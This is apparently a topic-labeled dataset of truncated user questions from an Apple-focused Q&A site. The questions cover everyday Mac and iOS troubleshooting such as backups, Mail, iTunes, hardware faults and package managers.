",['apple'] "Title: Downloading videos and saving to camera roll? Body: I need a tweak like ""Download Manager pro"", which allows you to download any video you play. The thing is, it saves to its own private storage (and not camera roll) so I can't share them with anyone. ... ",['apple'] "Title: Using TimeMachine backups after changing (short) username on OS X? Body: I changed my (short) username on OS X Mountain Lion using the instructions mentioned here. I am guessing that would sort of invalidate all the TimeMachine backups I had till now. Is there a way to ... ",['apple'] "Title: “this Emacs binary lacks sound support” Body: I'm trying to get Aquamacs Emacs to play a sound. I have this: (add-hook 'org-after-todo-state-change-hook 'my-org-after-todo) (defun my-org-after-todo () (play-sound-file ... ",['apple'] "Title: Parental controls not logging off user Body: We are successfully using Parental controls to limit our childrens time by the computer. However I can't seem to be able to make the system log off the user when the time limit runs out. Since there ... ",['apple'] "Title: Remote not working on new iMac Body: My shiny new late 2012 iMac arrived, but I can't seem to get it to respond to my Apple Remote. I tried searching the System Preferences to see if out if the box it was paired to another remote, but ... ",['apple'] "Title: Is there a speed difference between copying files at the same time or after one another Body: We got a new Mac Pro server and I am faced with cloning 4TB of data from one, to the other via. Firewire 800 cable and Target Disk Mode. Oh for Thunderbolt. Is there an impact on the total speed of ... ",['apple'] "Title: How can I set up my Time Capsule to talk with my laptop over the LAN? Body: I have a Time Capsule that I'm having trouble getting to register with my MacBook Pro off of the LAN. The LAN is a DHCP network that should be assigning addresses dynamically. Time Machine ... ",['apple'] "Title: iPhone - no display Body: My verizon iPhone was working fine until yesterday, mint condition, no damage. Suddenly, there's no display, iTunes detects it but doesn't let me restore: error 3194 Is there any known fix for ... ",['apple'] "Title: How do I get com.apple.servermgrd to use a non-self-signed SSL certificate? Body: I have received a valid SSL certificate for my Mountain Lion Server (10.8.2 Build 12C3104) and have installed that cert for use by all services (and SSL and other services do not pop up the ""Verify ... ",['apple'] "Title: Apple Mail vs Thunderbird performance Body: I'm running Apple Mail 5.3 and Thunderbird 17.0.4 on Mac OS Lion 10.7.5. The system I'm running those apps it's an iMac with 3Gb of RAM and 2.4 GHz Intel Core 2 Duo. I run both applications at the ... ",['apple'] "Title: How to save my app files and/or data from my iPad 1 whose screen won't turn on? Body: Backstory: I bought an original iPad when it first came out, my first Apple product, and it's been a great computer but recently it doesn't work anymore. Basically, the screen won't turn on. ... ",['apple'] "Title: Restricting Applications to Specific Interface For Added VPN Security Body: I am trying to find a way (either software or using terminal) to bind certain applications to my VPN interface (untun0). I have looked at every firewall solution available for OS X 7 and none of them ... ",['apple'] "Title: Resetting MBR on iMac Body: I installed Ubuntu on my iMac (partially successfully) I had rEFIT installed but it did not recognize the Ubuntu installation. I removed the partition and rEFIT and now when I attempt to install ... ",['apple'] "Title: How to implement this script on a Mac Body: I just read Matt Might's blog post on eliminating filler and ""weasels"" from my writing, and I am wondering how I would implement this on Latex to run and check my document? I know I should use ... ",['apple'] "Title: Calendar wiped out on iPad 4th Generation Body: I have an iPad (4th Generation) I just went to check my calendar and everything is gone. I don't have cloud back up because I don't have a recent enough Windows OS on my PC. I just noticed that all ... ",['apple'] "Title: System Preferences lock always unlocks itself after restart Body: The Mac's System Preferences panels have a universal ""lock"" icon which, when locked, will apply to all panes, therefore preventing the user from changing any settings until they unlock the System ... ",['apple'] "Title: How to show app window Body: When I change from one running application to another, I no longer see the topmost (or any) window from the new app. I now have to select a window from the menu bar. This is a new and unwelcome ... ",['apple'] "Title: Will time machine wipe out my old time machine backups if I move it to a new mac (or upgrade os x)? Body: I recently had the IT guys here at work wipe my hard drive and upgrade my mac to 10.8 from 10.6. And other than spending a few days getting it up and running again and spaces being jacked it is going ... ",['apple'] "Title: Different Apple ID for HomeSharing and iTunes Store on Apple TV Body: Can I set up an AppleTV with: - one Apple ID for home sharing - a different Apple ID for iTunes Store purchases? I mean: setting the Apple ID for the iTunes Store will change my Home Sharing config ... ",['apple'] "Title: Finder: Name of file won't go away as file title Body: Ultimately, this isn't a big problem but it is a bit annoying. Something happened, at some point, to my Finder application. Even after restarting my computer (even multiple times since this first ... ",['apple'] "Title: Jailbreak iOS 6 without cydia Body: How do I jailbreak iOS 6.1.2 without installing Cydia? ",['apple'] "Title: Equivalent to Alt on terminal [duplicate] Body: On linux consoles I always use Alt + . to get the last argument of the previous command in history. for example if I had ls /tmp/test as last command, and if I type rm Alt - this will result ... ",['apple'] "Title: Restrict Content in iTunes Body: I'd like to know if it is possible to restrict playback of certain content in iTunes. I know it can be done when using Apple TV 2/3 but can't seem to find a way to do it in iTunes itself. I can tag ... ",['apple'] "Title: iPhone won't play music from safari through external speakers when on silent Body: My iPhone 4S won't play music through the external speakers when my phone is on silent, and this problem is only restricted to safari - it works for other apps, even the google app when I tried ... ",['apple'] "Title: Help Keeping Audio Lesson Playlists separate from Music Body: I am trying to sort out the music on my iPod into play lists, the thing is I have a bunch of playlists that are audio lessons which I'd like to appear after the music playlists. I know if I put the ... ",['apple'] "Title: no pop up when right click Body: There is no pop up menu when I right click. I have set right button to secondary button as in the following picture. Using ctrl+left click, there is a pop up menu so I can copy/paste selected or do ... ",['apple'] "Title: Hotmail synced contact incoming name do not appear Body: I just bought an iPhone 4S and successfully managed to synchronize it with my Hotmail account, all in terms of mail, calendar and contacts. However, although my contacts are visible and accessible in ... ",['apple'] "Title: TrueCrypt fails with fusefs kext error Body: After upgrading to Mountain Lion, I can't mount any volumes with TrueCrypt 7.1a anymore. After typing in the password for the volume, an error message is shown, stating that the fusefs kext can't be ... ",['apple'] "Title: switch input (language) quick with keyboard Body: I am a Taiwanese and study in France now. My major requires read and write in English. I get a iMac with 10.6 on it. It really bothers me to switch between these 3 input languages with mouse. Is ... ",['apple'] "Title: Broken PowerBook G4 Body: My PowerBook G4 is broken and has been for a couple of months now. I owned it while it was working for about 1 and a half years. When it broke originally, I was restarting it after changing the boot ... ",['apple'] "Title: What are some effective ways to save power when using my MacBook Pro? Body: I have an Early 2011 MacBook Pro (Core i7, 8GB RAM) with Mountain Lion (OS X 10.8.2). What are some effective ways to save power? I am looking to maximise use of the battery - from a full charge - on ... ",['apple'] "Title: Word resizes pictures in document? Body: Whenever I add a picture to MS Word, the resolution becomes distorted along with the quality of the image. In windows, you can reset a picture and it will be displayed with the correct dimensions. ... ",['apple'] "Title: Can hard-drive benchmark apps damage your hard-drive? Body: I want to measure the read/write speed of my hard-drive. I came accross this page recommending Blackmagic Disk Speed Test. There is a frame saying this: Note: Blackmagic Disk Speed Test puts hard ... ",['apple'] "Title: Missing backups from Time Machine Body: A have a MacBook running Mountain Lion that backups up to a Linux machine over afp (netatalk) using Time Machine. In Time Machine preferences I can see that the Oldest backup was on 5th March 2012 ... ",['apple'] "Title: Comparing iPad mini data plans; Why choose AT&T, it has fewer countries and is more expensive? Body: I'm trying to choose between the various data plans for an iPad Mini. Based on this chart it appears that the ATT model (A1454) only works in North/South America, while model A1455 is supported ... ",['apple'] "Title: Fixing a corrupted OS X Mail structure after an import of mailboxes from the previous system volume Body: Due to various and persisting problems, I had to reinstall 10.8.2. What I did Shut down iMac with internal system disc A. Started 10.8.2 recovery system Copied iMac's system disc A to an external ... ",['apple'] "Title: Utility to warn when process takes 100% CPU for x minutes? Body: I run on battery a lot and occasionally a process/app will crash in the background and start sucking up 100% of one or more cores. That in turn burns my battery down way faster than normal. I used ... ",['apple'] "Title: Old home folder not recognized after upgrade, how to recover? Body: Upon first boot after updating from 10.6.x to 10.8.x my friend started creating a new user account rather than importing the old one. When I look in ~/Users/.. I see /new_account and /old_account, ... ",['apple'] "Title: No Facetime On My iPhone 4 Body: My problem is that I can't enable Facetime on my iPhone 4. I've searched this problem on many forums and they all say Facetime needs to be turned on in the Phone app's settings, or enabled in some ... ",['apple'] "Title: Random contacts on my iPhone 5 Body: I recently bought a new iPhone 5. When I was going through my contacts today, I noticed a lot of email adresses stored along with the other numbers. I didn't even know most of them! What has happened? ... ",['apple'] "Title: Extend an Apple wireless network with non-Apple gear Body: I've got an Apple wireless network running (base station is an Airport Express, 2nd generation), and I'd like to extend to it a nearby apartment. I've got an AT&T modem/router hybrid, a Netgear ... ",['apple'] "Title: IMAP folder named Notes does not appear in Mail.app Body: I have a folder on my IMAP server named « Notes ». I have deactivated the use of the IMAP account by the Notes.app, but the folder is still not visible in Mail.app. Is there a way to have this ... ",['apple'] "Title: Restore app data Body: I have an app that was deleted after accidently syncing from another computer (Deleted most of my apps). Before connecting to my home PC (which has all my ios backups) I installed the app from an .ipa ... ",['apple'] "Title: Registered Apple Developer Agreement when under 18 Body: When I registered to be an Apple Developer, I inadvertently did so without realizing the requirement to be 18 years of age (I was 17 and 6 months away from being 18 at the time). I did not take out ... ",['apple'] "Title: OS X: Any PDF to Kindle format converter to read technical material on Amazon Kindle? Body: I like to read course material on Kindle. I merge all lecture slides with Automator and then send them to my Kindle email. Earlier, I have used Readle's Documents app (a spinoff of PDF Expert) where I ... ",['apple'] "Title: I have a broken iPad that is being replaced tomorrow, is there any chance I could still keep the broken one? Body: I got an iPad mini on Wednesday through the post but I opened it to find it damaged. It is only a tiny chip but I rang apple and they are sending me a new one and I am giving this one back. Does ... ",['apple'] "Title: Use time machine for backing up a different computer Body: I've been over many faq's and troubelshooting but can't seem to find an answer to this. I'm currently running my mac from an external HD. My internal got corrupted, I can't repair it with disc ... ",['apple'] "Title: Can I suggest features to Apple? Body: Is there a place on the Apple website where I can suggest features for OSX/iOS to Apple? For example, I want to suggest that you can drag Launchpad folders to your Dock. ",['apple'] "Title: Internet connection in Germany for iPad 2nd gen Body: I have to say first, I am clueless about it all, including the jargon. I have just spent phone time with ATT, and I have learned I will not be able to tether (that means create a hot spot from my ... ",['apple'] "Title: Cursor Disappearing Body: Sometimes when I open up a video in iTunes the cursor image disappears. To bring it back, I've to either double-click or switch to mission control for a quick sec. and come back. This problem is ... ",['apple'] "Title: iPod Classic won't start. No Apple store here, Body: My iPod classic, 120 GB memory, model A1238, won't start and won't charge. I have tried everything and there is no authorized Apple store here, or any store that can fix my iPod. Are there any methods ... ",['apple'] "Title: Is there official documentation about upgrading your iOS app's minimum requirements? Body: There are a couple of questions addressing what happens when you upgrade the minimum iOS of an app and there are still users on older iOS versions. The answers don't seem to agree with each other. ... ",['apple'] "Title: iOS updates getting listed slowly Body: When I check for updates on an iOS device of mine, the results takes quite a bit of time to get listed. And even sometimes they don't and I've to restart the app by killing it. Although the speed when ... ",['apple'] "Title: How to disable itunes writing things to my music files? Body: I stored my music collections ( mostly in .m4u extension) in Dropbox folders, while I play these music files in itunes, I fount that Dropbox continuously sync these files. What does itunes write to ... ",['apple'] "Title: How to specify UML qualified association in Omnigraffle Body: Is it possible to connect a text to the head or the tail of a line in OmniGraffle? For UML qualified association, a line has the text of a range or enumeration of objects in the relation. (Typically ... ",['apple'] "Title: Preventing google search for custom top-level domain Body: How can I prevent safari to redirect the user to the google search page for addresses with custom top-level domains? Given an address of the type http://application.test where test is a primary zone ... ",['apple'] "Title: Macbook Pro changing desktop picture randomly Body: I just got back from vacation and while on vacation I turned my computer off for the 5 days I was gone. I just now turned it back on and my desktop picture was changed to the galaxy photo which I know ... ",['apple'] "Title: How do I make messages on iPad stop interrupting my music Body: I use messages on my mac and enable it on my ipad as well. When I play music (spotify) on ipad, it keeps getting interrupted by the iMessage. The interruption is the dimming of the sound. This is very ... ",['apple'] "Title: iPhone/iPad GMail Stopped Sync'ing Properly Body: I have a couple of GMail accounts which I track on my iMac, iPhone, and iPad. On the iOS devices, both of the accounts are setup as Exchange accounts with Push delivery. I read that this is the ... ",['apple'] "Title: MBP: MacOS 10.6 hangs up after login Body: I've got a MacBook pro with snow leopard installed. All worked fine, just now I had to install OpenAfs, which requires a reboot. When I tried to reboot, the pc stopped shutting down: All I could see ... ",['apple'] "Title: Will Apple offer a discounted replacement for a water damaged iPhone 4S outside of warranty? Body: Will Apple offer a discounted replacement for a water damaged iPhone 4S outside of warranty? The water indicators on the outside of the phone have not gone off, but the one inside on the logic board ... ",['apple'] "Title: How to insert .flv in iTunes library Body: I have downloaded a flv file, and I would like to save it in iTunes library for later play. I guess I should convert it first, but is this supported by OSX or do I need an extra application. And which ... ",['apple'] "Title: How to add a line break in a cell in Excel for Mac Body: What key combination do I have to press to create a line break in a cell in Excel for Mac 2011? The Windows combination of Alt+Enter does not work on the Mac. ",['apple'] "Title: How to prevent scrolling while entering text in a text entry box in a Fluid app? Body: In my job, I have a number of ""always-open"" web applications that are part of my desktop layout. I always have Trello open, plus two different Stack Exchange Chat rooms. I also have another browser ... ",['apple'] "Title: mac asking password after cd in terminal Body: Recently my mac has started asking me for a password after I use cd in Terminal.app (haven't tested other term apps). strangely though, if I press ctrl-C when the passowrd is asked, the question goes ... ",['apple'] "Title: How do I sort Reminders in OSX? Body: One can enter reminders in OSX in the Reminders app. But how to sort them by name, date? I can't seem to find it. ",['apple'] "Title: Is mp3 transfer for Windows iTunes / iPhone 4s slow? Body: I'm about to buy iPhone 4S, I'm curious about how fast is mp3 transfer (since I like a lot of music). And I'm using Windows. Is it a LOT slower than common direct USB transfer like on mp3 devices or ... ",['apple'] "Title: xcode 4.2 on osx 10.8 Body: Is there a way to install XCode 4.2 on Mac OSX 10.8? I need to compile some Firemonkey projects on my MBP (latest without retina) and I have OSX 10.8 installed and through normal means it's not ... ",['apple'] "Title: User profile transfer, apps which are/were not PPC show up as PowerPPC Body: I have tried using the Migration Assistant, straight copy/paste using Firewire disk mode, and even a clone using Clonezilla... Both machines are 10.8.2 The old computer in System Information under ... ",['apple'] "Title: Can I replace my internal drive with a 320+ GB memory stick instead (MacBook Pro 13"" c. 2009) Body: I'm currently only able to see my internal HDs for my MacBook Pro 13 c. 2009 by attaching them to a USB adapter cable external to my laptop. Drives are great - but either logic board or something ... ",['apple'] "Title: Moving /.MobileBackups to USB or SD drive on Mountain Lion / OSX 10.8.2 Body: I've used the excellent tutorial found here Any way to change the location of Time Machine local backups (./MobileBackups) to another drive? to move the local snapshots folder off of my SSD and onto a ... ",['apple'] "Title: Data differences between Apple Contacts and GMail Contacts? Body: I'm thinking of syncing my Mac's contacts with Google. But I'm a little wary of any data syncing between platforms, since some data is usually lost. Is there a list somewhere that describes which ... ",['apple'] "Title: iPhone 4S iOS 6.1.2 Settings -> General -> Keyboard -> Add New Shortcut not case sensitive Body: My custom shortcuts are not case sensitive (the opposite was claimed here). Example: Under Settings -> General -> Keyboard -> Add New Shortcut I specify: ME : Schorsch Unfortunately, both ME and me in ... ",['apple'] "Title: “df” command making network requests? Body: I was watching Little Snitch for another process, and noticed df was making requests to various servers. I thought df was only for checking free disk space locally, but it appears to be doing more ... ",['apple'] "Title: Putting line-breaks in the (Mountain) Lion lock screen message Body: On Mountain Lion, in the [Security & Privacy] pane of System Preferences, you can enter a lock screen message that gets displayed on the login/lock screen. Sometimes, you might want to put a line ... ",['apple'] "Title: Is there any terminal tool to convert from ODT to PDF/PS? Body: There is unoconv for Linux. I am looking something similar for Mac. I think no such a program exists. ",['apple'] "Title: Port forward (NAT) based on domain/URL Body: I currently have my Time Capsule to forward all inbound requests on port 80 to my Mac Mini which runs a web server with its local ip address of 192.168.1.8. I also have DNS set up so that if I go to ... ",['apple'] "Title: Ipad Mini won't turn on. Body: I have an iPad Mini that I have had sense the fall. This morning I woke up and it was working fine. Now it won't turn on. I've tried all the regular fixes and nothing is working. Will the ... ",['apple'] "Title: Looking for specific help with networking iTunes with Air and Home Theatre PC Body: Let me explain my set up. I have a home theater PC that houses all my music files (about 500 gigs worth of music) but right now it just works as a server in that regard since I play all the music ... ",['apple'] "Title: What is com.apple.mail.plist and why was it slowing Mail down? Body: I fixed an annoying problem with Mail 6.2 (I'm on ML 1.8.2), where Mail was slow and a pain to use. I am on a SSD so everything was jerky while typing, sending mail out, and it would take ~1 second ... ",['apple'] "Title: Will 27' 2560x1440 Korean IPS monitor (brand: Crossover) with DVI-D output work with MBP retina? Body: I have a 15' MBP retina (which has HDMI and Thunderbolt interfaces for connecting to external displays). I was planning to buy this 27' Crossover monitor (one of those Korean displays that have ... ",['apple'] "Title: Can I enable hiding the dock on my MacBook monitor only? Body: When at home I use my 13"" MacBook Pro hooked up to an 27"" external monitor. When working on my 27"" screen I prefer to have a visible dock at all times. I have enough screen real estate to afford this ... ",['apple'] "Title: iTunes - don't know how to moves songs from library to library in same computer Body: I am using iTunes for the first time, and it seems to be very different from Windows OS. I am trying to do what I would have expected would be a very basic thing - take a song from one library in ... ",['apple'] "Title: How to forceibly shut down a mac? Body: Press the power button and it'll restart and restoring the windows. Press the power button for so long and it'll sleep. When return it'll restore the whole windows. What about if I want true restart ... ",['apple'] "Title: How to use Homebrew to install local archive Body: I'm trying to use Homebrew to install wget, but something is happening where the download is always corrupt. This happens for all packages, not just wget. I can download the tar.gz fine through a ... ",['apple'] "Title: Backup files from recovery utility Body: My Mac seems to have given up. I have my important data backed up, but I have a few gigs of movies and music that I wasn't backing up. I can boot into the recovery utility and launch a terminal, ... ",['apple'] "Title: How do I simulate the Insert key in Windows on a MacBook Pro? Body: Somehow in my code editor and command line I keep toggling the Insert key, but I'm not sure how. I can toggle it by clicking on OVR/INS in the status bar, but what is the key combo that I'm magically ... ",['apple'] "Title: Can I update apps on my ipod when it's full via itunes? Body: My iPod Touch 8gb is pretty full, so I can't install the vital angry birds updates and so forth. Is there a way I can upgrade it during sync to iTunes that works round the space without taking all ... ",['apple'] "Title: Use iPod Classic Without iTunes Body: I use a program called iShuffle with my iPod shuffle. All I do is copy music files in Windows Explorer to the Shuffle's Music folder, then run the little app and it magically works without iTunes. ... ",['apple'] "Title: Get a copy of iphone lock screen Body: I no longer have the photo I used for my iPhone lock screen, and I would like to retrieve a copy of it, or a full screen shot of the lock screen without the slider bar and time/date display. Is there ... ",['apple'] "Title: Some dvorak shortcuts aren't working. 10.8.2 Body: I just got a new Macbook Air, and was all excited to code: but then wham. For example I cannot do command + / Which is pretty valuable when coding. It treats it as Command + { I'm trying to use ... ",['apple'] "Title: Where has my Podcast playlist on my iPhone Gone? Body: Where have my podcasts gone from my playlists on my iPhone??? I used to be able to put my podcasts into a playlist in iTunes, but now they don't seem to go onto a playlist and can only be played via ... ",['apple'] "Title: Can the AppleTV (Version 2) send output to only the optical output? Body: I'm looking for a way to have AppleTV (Version 2) output from optical out only without having HDMI connected or at least with the TV turned off. I've read that this is possible with previous versions. ... ",['apple'] "Title: Figuring out bad sectors in my Macintosh HD [duplicate] Body: As the title suggests, what's the best way to go about doing this? I'm talking about figuring out bad sectors in the hard drive that already has OS X installed, and that I'm using right now to do ... ",['apple'] "Title: How do I turn column select off? Body: When using terminal.app, the cursor turns into a cross and you can drag out a rectangular area of text with it. However, it is required to use Alt/Option in the terminal. ",['apple'] "Title: Exporting jpg to pdf: file size grows significantly Body: When I used Preview's ""Export"" feature to export a 1.4MB jpg file to a one page pdf file, the resulting pdf is as large as 14MB, which is really surprising and annoying. I tried to reduce the file ... ",['apple'] "Title: “Save As…” in Mail Not Sorting by Date Received Body: I am a recent convert to Mountain Lion (new iMac arrived a week ago). Been using the ""Save As..."" option in Mail.app for years now to save chunks of email as RTFs. Previously (in Snow Leopard), using ... ",['apple'] "Title: VMware Fusion 5 with Windows 8 64 bit on MacBook Air Constant High CPU usage Body: I have set up Windows 8 64 bit on a MacBook Air using VMWare Fusion 5 Professional. The MacBook Air is from Oct 2012 and has an Intel Core i7 2GHz and 8 GB 1600 Mhz DDR3 RAM. I have Windows 8 ... ",['apple'] "Title: An ipad app or setting that helps turn off wifi or turn on airplane mode on schedule? Body: i hope to conserve battery at night. is there an ipad app or setting that helps turn off wifi or turn on airplane mode at certain time? or would it even be better to have an app that turns off the ... ",['apple'] "Title: How to show my sent mail in a smart mailbox (& not show EVERY email I sent to everyone else not in that group.) Body: This is regarding Mail and Contacts in Snow leopard. (ex Eudora user) I created the group ABC in my Contacts. I would like to see all the mail members of that groups sent to me (To, CC and BCC), ... ",['apple'] "Title: Aperture 3 Open open first aid options for external library Body: I have a huge Aperture 3 library that will not open Verify that you have iPhoto 9.4 or later. Then open the library in iPhoto to upgrade it.. It is not set as my default Aperture library, so every ... ",['apple'] "Title: How to separate iMessages with shared Apple ID? Body: My son and wife both have iPod Touches and I have an iPhone. We all used the same Apple ID and turned on iMessage. Both my son and wife were getting texts from my friends and my work on their iPods, I ... ",['apple'] "Title: How to disable notifications for a single calendar, in iOS6 Body: I have multiple calendars on my iPhone (iOS 6) and would like to know how to disable event notifications for just my work calendar (it's an Exchange account, if that makes any difference). I still ... ",['apple'] "Title: Installing RPM with MacPorts on Mac OS X 10.7.5 Body: I installed MacPorts from the official site usting .pkg installer for Mac, accepting all default installation settings. Then my goal was to install rpm, so I typed respectively : sudo port -v ... ",['apple'] "Title: Installing RPM with MacPorts on Mac OS X [duplicate] Body: I installed MacPorts from the official site usting .pkg installer for Mac, accepting all default installation settings. In the installation guide it is written that from this moment I should be ready ... ",['apple'] "Title: Is there a console interface for the Client Monitor on OSX? Body: I'm writing a bash-script at work for controlling our Mac-computers (OS X Mountain Lion) remotely. Since we use FileWave in our Company we just have to remove an Application and restart the computer. ... ",['apple'] "Title: AppStore crashed during software update Body: I was using my computer normally when I got a ""Updates Available"" notification. On selecting to update, the App Store opened, and I saw 3 updates available: 1) iTunes 2) Java (I have never installed ... ",['apple'] "Title: Is there a disk volume substitute command in OSX similar to 'subst' on Windows? Body: There is a command in windows OS - 'subst' - to create a virtual volume of an existing volume. Syntax of substititute command is subst Z: D:\ where Z: is the name of the virtual volume and D: is the ... ",['apple'] "Title: Can I remotely access my Mac from Linux using screen sharing? Body: I like to access my Mac from work (Linux) and I wonder if it is possible without installing additional software like TeamViewer or ChickenVNC. I also noticed somewhere that it is possible to wake my ... ",['apple'] "Title: Embedding Web Snippets in Wiki Server and Security Settings Body: I want to edit the embed security settings in Mountain Lion Server's Wiki Service because with the default settings you can't embed anything on pages, which makes it a lot less useful. We're in a ... ",['apple'] "Title: iPad 4 not charging solution with usb 3.0 dual ports Y adapter Body: Just recently picked up an iPad 4. Saw that it specifies ""not charging"" when plugged into the usb port. Saw that it is a common issue due to usb power. I have usb 3.0 ports on my desktop so I tried ... ",['apple'] "Title: Delete key does not work in TextEdit Body: When I select a piece of text on TextEdit and try to delete it using the delete key the piece of text does not get deleted. But, if I tap my trackpad after hitting the delete key, it does. I've tried ... ",['apple'] "Title: iPhone 5 auto-complete Messages Body: I have a small issue, every time I type in ""and"", auto-complete changes that to ""shut the fk up"". I've searched all around and even reset in Settings -> General -> Keyboard reset Anyone else have ... ",['apple'] "Title: unable to boot my Mac book after file vault 2 activation Body: after activation of file vault 2 I am unable to boot my computer, the apple sign turns into a prohibitory sign with a spinning circle beneath it , that spins forever. I really need the data on this ... ",['apple'] "Title: Is AirDrop possible between iPad, iPhone and MacBook? Body: A new MacBook came with something called AirDrop and worked between many MacBooks such as MacBook Pro and MacBook Air. Can I also use AirDrop to exchange data between Macs and iOS devices? ",['apple'] "Title: AirPort Extreme, OS X Server, DHCP and Dynamic DNS Body: I have a AirPort Extreme and OS X Server (Mountain Lion). On my local network, I have a number of OS X, Windows, Ubuntu and other machines using DHCP to obtain network addresses. Almost all ... ",['apple'] "Title: Mail is showing me garbage for certain messages Body: Certain incoming emails are showing up as nonsense. Any idea what is causing this or how to fix it? The strangest part is that I can copy/paste the garbage into a text editor and read what it says! ... ",['apple'] "Title: How can I remap the right mouse button to the left mouse button? Body: My googling abilities have failed me and I can't figure out how to remap the mouse buttons. My 3 year old niece is having trouble using the mouse on the computer because she is right clicking by ... ",['apple'] "Title: Links to bookmarks do not work when book is exported into PDF Body: I have few links inside of the book, which link to a bookmark inside of the book itself. It works whilst I am in iBook Author, but once exported has no effect. Have you had similar issue and do you ... ",['apple'] "Title: how to disable Firefox's app tab glow? Body: I recently switched from Linux to Mac OS X, and one little tweak that didn't survive is disabling the blue highlight ""glow"" that Firefox adds to App Tabs when they have updates. Any idea how to do ... ",['apple'] "Title: Finder crashes/closes when copying files to NAS Body: OS X 10.8.2 Latest series MBP 13"" I am experiencing a problem where Finder crashes, or rather closes without notice when I move large folders into a NAS folder. (WEstern Digital Black Armor 6TB NAS ... ",['apple'] "Title: AirPlay doesn't work when AirPort Exp. extends my network? Body: I have recently acquired an old first gen AirPort Express and wanted to use it solely for airplaying over to my old and amp. I tested configuring with it's own network and works fine. The problem is, ... ",['apple'] "Title: Permanently save iOS backups Body: Whenever I connect my iPad to my mac itunes backs up it's current state. This is great and I want to keep it this way. Though it overrides the previous backup, which is ok most of the time, but now I ... ",['apple'] "Title: Where are Mail.app rules stored? They got deleted and I want to restore them Body: Since Mail.app had trouble connecting to the various accounts, I tried to 'reset' it by removing all accounts and the stored passwords in Keychain Access.app. Then I re-added all the mail accounts. ... ",['apple'] "Title: Two external monitors via a single mini DP output on my macbook pro 13 Body: I was hoping someone might have tried this before and can tell me if it will work, before I go out and buy all the adapters. I want to connect two external monitors to my macbook pro by connecting ... ",['apple'] "Title: iTunes: fix 2000 tracks that the database no longer recognizes correctly Body: Over the past few years, iTunes has repeatedly tried to 'organize' my library, copying tracks from one place to another. When it then came back and scanned for files again, suddenly I had three copies ... ",['apple'] "Title: Problem updating homebrew Body: Trying to update homebrew, I get this: $ brew update error: Your local changes to the following files would be overwritten by merge: .gitignore Library/Contributions/brew_bash_completion.sh ... ",['apple'] "Title: Remove an app from Notification Center preference pane Body: My girlfriend added Facebook to my Notification Center. I tried to set the alert style to none, and you can see the check mark to show items in Notification Center is deselected. I want it ... ",['apple'] "Title: Need to re mount usb drive to complete time machine backup Body: (24"" 2009 iMac running Lion 10.7.5) I have a Seagate 1t usb hard drive (have done for about 6 months) . I have mounted the drive and set it up as my time machine backup drive. It will perform the ... ",['apple'] "Title: Turning off vibrate Body: This is about the standalone Messenger, not the main Facebook app. Is there any way to disable vibration when receiving a message? Even if I'm already viewing the conversation it vibrates every time ... ",['apple'] "Title: Mac Hard Drive Testing Tools and SMART Analysis Body: How good is SMART (Self Monitoring Analysis and Reporting Technology) for really finding and predicting drive problems for regular hard drives and now, for SSDs. From what I understand, different ... ",['apple'] "Title: Uninstaller that tracks installed files and removes them later Body: On windows I've used various utilities that actively track which files are added during a software install, and I'm sure there must be a good one for os x. Itrash (http://www.osxbytes.com/) is ... ",['apple'] "Title: iTunes Media Folder Location seems to act oddly Body: I have a separate partition setup for my Media. If I set it to F:\ the structure for music is: F:\{Artist}\{Album}... If I set it to F:\Music the structure for music is: ... ",['apple'] "Title: Compare multi-digit version numbers in bash Body: Trying to write a script that searches for the version of the Application then returns the value. My problem is the value is three to four intergers long (example 4.3.2). I have searched for a while ... ",['apple'] "Title: signing one certificate with another Body: I have a certificate that I have created using openssl. I wish to import it into keychain, sign using a custom CA and then export it back out in two parts, the key and the crt. How could I go about ... ",['apple'] "Title: Does software exist to rename songs in iTunes based on audio matching like shazam? Body: I am looking for program which will automaticly rename songs and albums by comparing the actual acoustics and played /perceived? Basically, use Shazam some way? ",['apple'] "Title: Force umount of stale NFS shares Body: Whenever my NFSv4 server becomes unreachable a little window pops up offering me to disconnect the affected shares. It looks like this: http://i.imgur.com/ThuhnCG.png If I choose to Ignore iTunes ... ",['apple'] "Title: Ruby 2.0.0 install via RVM: errors surrounding openssl Body: Using: Mountain Lion 10.8.2, RVM 1.18.15 Having trouble with, apparently, openssl when trying to install Ruby 2.0.0 via RVM: $ rvm install 2.0.0 ... Extracting openssl to ... ",['apple'] "Title: DHCP Requests out of line with lease time, inordinate amount of requests to server Body: Environment contains an OS X 10.6.8 Server with OS X 10.8.2 clients. DHCP is running on server with a lease time of 1 Day (86400 seconds). The system log is flooded with DHCP REQUEST/ACH messages ... ",['apple'] "Title: How do I automatically kill processes that leak memory? Body: I have problems with processes that leak memory. They cause my hard drive to be filled with swap files in /private/var/vm. I would like leaking processes to be killed at sight by the OS. I’m not ... ",['apple'] "Title: Sleep button broken. How do I find out which part is affected? Body: The sleep/power button of my iPhone 4 is broken; it suddently didn't really ""click"" anymore and just hardly reacted on my actions. For some hours by clicking really firm it still worked, but then the ... ",['apple'] "Title: Where does homebrew log? Body: Does homebrew keep logs, and if so where? I did a brew update which broke python support in macvim, and now I can't even get macvim to build. I'm hoping that there are some clues in the log. ",['apple'] "Title: How did this ominous file end up in my Application Support folder? Body: Deleting this file will break the whole internets, for the sake of our children don't do it!. The above quotation is the content of a text file called STR8369805638PUB6932583035105 that I found ... ",['apple'] "Title: Iphone 5 broken glass Body: My friend recently broke his iPhone 5. He has broken just the front glass. Everything works very fine - LCD, touch screen. Is there any possibility to change only the front glass that costs, on ebay, ... ",['apple'] "Title: What are some good data recovery programs to try on an SD card? Body: My friend imported a bunch of videos from his GoPro into iPhoto and foolishly let iPhoto delete upon successful import. He claims that iPhoto then quit unexpectedly and all of the videos are gone. My ... ",['apple'] "Title: OS X installation on external HDD Body: I am planning to install a second OS X on an external HDD, I was wondering when I boot in external HDD will it in any ways affect my first OS X installation? Will it have the permissions to write or ... ",['apple'] "Title: Photostream eats my pictures, why? Body: I have the current situation: in iPhoto, I can see some of my pictures made in the last months ONLY in Photostream. iPhoto says they're imported already, but ""show in Library"" leads to nowhere. Since ... ",['apple'] "Title: Cannot Upgrade jailbroken iPod touch 4.3.3 to iOS 6.1.2 Body: I got a jailbroken iPod from a friend and I want to update to iOS 6 so I can restore my backed up data on it. I tried SHIFT + Restore / Upgrade to iOS 6 but the first error I got was this Figure 1 ... ",['apple'] "Title: There's a folder shortcut on my dock, next to the trash. Why is there and how do I remove it? Body: I want my dock to be purely for shortcuts to the programs I use the most. Frankly it annoys me that you can't remove the Trash from the dock, but I can live with that. What I really want to get rid ... ",['apple'] "Title: How do I remove or alter timestamps from Word 2011 (Mac Office) tracked changes? Body: Is there an easy way to batch change a group of Track Changes edit and comment timestamps in Microsoft Office 2011 for Mac? Can I remove the timestamps 